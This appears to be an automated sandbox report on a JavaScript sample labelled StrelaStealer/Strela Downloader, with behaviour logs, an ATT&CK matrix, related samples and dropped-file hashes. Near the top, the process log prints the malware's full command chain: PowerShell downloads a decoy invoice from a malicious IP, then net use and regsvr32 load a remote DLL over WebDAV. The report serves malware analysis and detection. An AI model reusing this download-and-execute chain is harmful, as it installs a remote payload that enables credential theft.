Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3244127882174020209.js	8%	Virustotal		Browse
3244127882174020209.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1319412989.000001FC7EFD0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false	high
http://crl.ver)	svchost.exe, 0000000E.00000002.2549986320.000001FC7F200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false	high
https://www.adobe.co	ReaderMessages.10.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false	high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1328366646.0000017569188000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1328366646.00000175691BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1311009382.00000175691DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1328736477.00000175691DF000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588908
Start date and time:	2025-01-11 07:00:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3244127882174020209.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.200.0.21, 23.200.0.33, 13.107.246.45, 23.47.168.24, 4.175.87.197, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:01:48	API Interceptor	21x Sleep call for process: powershell.exe modified
01:01:51	API Interceptor	1x Sleep call for process: net.exe modified
01:01:52	API Interceptor	2x Sleep call for process: svchost.exe modified
01:01:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066630013305757
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqK:2JIB/wUKUKQncEmYRTwh0W
MD5:	C06C2280ED463F5DC05BAE50B82150A8
SHA1:	324AD14E31568B3FE531D08CB79F18B5515032DD
SHA-256:	EE2E412AC2B6DB0342A04530CD3111578BD565F65A5F84348D2FC3FED9DE5CBF
SHA-512:	2DAAB5DD44DB7A30D24A770E0E443AF0968114FC24B0B8536F31517224928232001284599259DDE5C731825BA6F2AB18FA655700EFA19B93840C283AA14DB6B2
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x37d471f9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899709414586433
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	E39287F9D92388DAAE73BE8BCEB1B92C
SHA1:	F7C5892E6891B69EAFF4EF36D36A28F106093A49
SHA-256:	BB1737D92ED6A8F12C882A03D8EDED7917C9F8E63F6599B1183F71A1D093EF32
SHA-512:	AFA1CB9096E0C870FBCC5B58E577606AA260D215A3F53841A20C9E7C78E5192CAFFFFD86AF308416BA64756453266F61F76C267CE329E11668C99EFF18E25F14
Malicious:	false
Preview:	7.q.... ...............X\...;...{......................0.`.....42...{5.4....}].h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.....................................\4....}......................4....}{..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08122970336939347
Encrypted:	false
SSDEEP:	3:Ull/KYemOFDGqt/57Dek3JI0RkSylllallEqW3l/TjzzQ/t:UXKzDNHR3tIoV2lAmd8/
MD5:	DCDBB167470CCF42E722F7A165A7C300
SHA1:	61B2732982B294E9A7CB85E70FF84658AF9806CB
SHA-256:	B8D86BD4ABAFBBAC689A9C9A8B69B999B0403B343852ADCB5F674B7505B4164E
SHA-512:	CEE4A021A378F70C56C60DF6CDD392985B5ADE618B1B064FB20E3CFE0B77BA6618CB5D4FAE8990BE5876EF5801E8B4088EC0143F9A6E1F25CE367AA79F2EE738
Malicious:	false
Preview:	.......................................;...{..4....}{.42...{5.........42...{5.42...{5...Y.42...{59....................4....}{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.176992149762607
Encrypted:	false
SSDEEP:	6:iOn9G3Vq2PcNwi2nKuAl9OmbnIFUtF9GjvgZmwr9GjyIkwOcNwi2nKuAl9OmbjLJ:7n0vLZHAahFUtFx/rG54ZHAaSJ
MD5:	43B1FE187A8B199FB260E596356E8E63
SHA1:	A1308E7FE3DCB6C4E252C5CA814B4BD9EFED8EE2
SHA-256:	D3C0B976D63254ECAED9D09A9CBC1F58E29EE34BE6C44356F322675C22FE3D5F
SHA-512:	35D2914E81291497ED2EF636B04A1ACECA27C4F72646F59E54C4120E2D27CFC866986FE4F1D8E1F867486D3BB6487AF4EF32F8CF33AD58BC8482217BDD9BF5C4
Malicious:	false
Preview:	2025/01/11-01:01:51.729 1db4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:01:51.732 1db4 Recovering log #3.2025/01/11-01:01:51.733 1db4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.176992149762607
Encrypted:	false
SSDEEP:	6:iOn9G3Vq2PcNwi2nKuAl9OmbnIFUtF9GjvgZmwr9GjyIkwOcNwi2nKuAl9OmbjLJ:7n0vLZHAahFUtFx/rG54ZHAaSJ
MD5:	43B1FE187A8B199FB260E596356E8E63
SHA1:	A1308E7FE3DCB6C4E252C5CA814B4BD9EFED8EE2
SHA-256:	D3C0B976D63254ECAED9D09A9CBC1F58E29EE34BE6C44356F322675C22FE3D5F
SHA-512:	35D2914E81291497ED2EF636B04A1ACECA27C4F72646F59E54C4120E2D27CFC866986FE4F1D8E1F867486D3BB6487AF4EF32F8CF33AD58BC8482217BDD9BF5C4
Malicious:	false
Preview:	2025/01/11-01:01:51.729 1db4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:01:51.732 1db4 Recovering log #3.2025/01/11-01:01:51.733 1db4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.096957926118148
Encrypted:	false
SSDEEP:	6:iOn9GIFIq2PcNwi2nKuAl9Ombzo2jMGIFUtF9G11Zmwr9GunFzkwOcNwi2nKuAlx:7nZOvLZHAa8uFUtF2/rZ54ZHAa8RJ
MD5:	514F0808045A9B02FD8BF2D074C3A1F8
SHA1:	85DAFBA1056C868B7BBE3ED42792BDC60FDBAB60
SHA-256:	2EFDBA252BF844B534A4A2FC7908D2499F5BDFCF0E7CB51526C3650FB493D95C
SHA-512:	B1F3477C7CBBBC448C4C0A98F5837A03E320DEB3BB1F7610F395F1DE4FC883EFEE50185B8B197A61688FE53088125B0429474A1D43B00001E413A8002AA300D5
Malicious:	false
Preview:	2025/01/11-01:01:51.850 1e60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:01:51.851 1e60 Recovering log #3.2025/01/11-01:01:51.852 1e60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.096957926118148
Encrypted:	false
SSDEEP:	6:iOn9GIFIq2PcNwi2nKuAl9Ombzo2jMGIFUtF9G11Zmwr9GunFzkwOcNwi2nKuAlx:7nZOvLZHAa8uFUtF2/rZ54ZHAa8RJ
MD5:	514F0808045A9B02FD8BF2D074C3A1F8
SHA1:	85DAFBA1056C868B7BBE3ED42792BDC60FDBAB60
SHA-256:	2EFDBA252BF844B534A4A2FC7908D2499F5BDFCF0E7CB51526C3650FB493D95C
SHA-512:	B1F3477C7CBBBC448C4C0A98F5837A03E320DEB3BB1F7610F395F1DE4FC883EFEE50185B8B197A61688FE53088125B0429474A1D43B00001E413A8002AA300D5
Malicious:	false
Preview:	2025/01/11-01:01:51.850 1e60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:01:51.851 1e60 Recovering log #3.2025/01/11-01:01:51.852 1e60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0d126ba2-753f-453f-9af0-2f4408c46b4a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\339dab99-db1c-4e95-a96a-9cdaa5cc2633.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963452180110138
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhGBBsBdOg2HAcaq3QYiubSpDyP7E4T3y:Y2sRdsOpdMHr3QYhbSpDa7nby
MD5:	283EEF7D98DEF092C9EA6E79F4E2410A
SHA1:	F943F279514B40138350F2E2DD1049486C788F75
SHA-256:	CD3EA75E22C5489678052576696592731FEE9789BD7E836555AF0AAF25B3532E
SHA-512:	C4781F8C6368E7DB822816A7D97391010FFC052FF1887FB2805BE4E75E0EC46BC8D2013B58F0F6C4FD37CF5F10164A5A4F2AE3763159638EFBA2FC2376060107
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135323498679","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127879},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6f8ce2.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231592631760129
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPplO5ix:CwNw1GHqPySfkcigoO3h28ytPpU5ix
MD5:	AFF76BD3C597DB100AEA3C55E62571ED
SHA1:	6EF3DAE421E641846C90A423F36856A74964F32F
SHA-256:	4CBF67E5879FE30989B41943F7E6657A4C078B70493BF8826940D360C4D93E46
SHA-512:	4151B52F8B6B717FC64234DB3A2A038B364406F85AB33FFF4DA20DCACA1994BBD0A0C81D5C33C14BB0BB15CE4D2873707B1E96EA303606FABD9FC624679810AC
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.116304002659488
Encrypted:	false
SSDEEP:	6:iOn9GzUq2PcNwi2nKuAl9OmbzNMxIFUtF9GMrVXZmwr9G9vzkwOcNwi2nKuAl9Ob:7nxvLZHAa8jFUtFLN/rKz54ZHAa84J
MD5:	1190B7C0DF7580D82DE8C581384A1B02
SHA1:	7F6467ECBBF4C793D4F7C2DE0D171EEFC16E1BB8
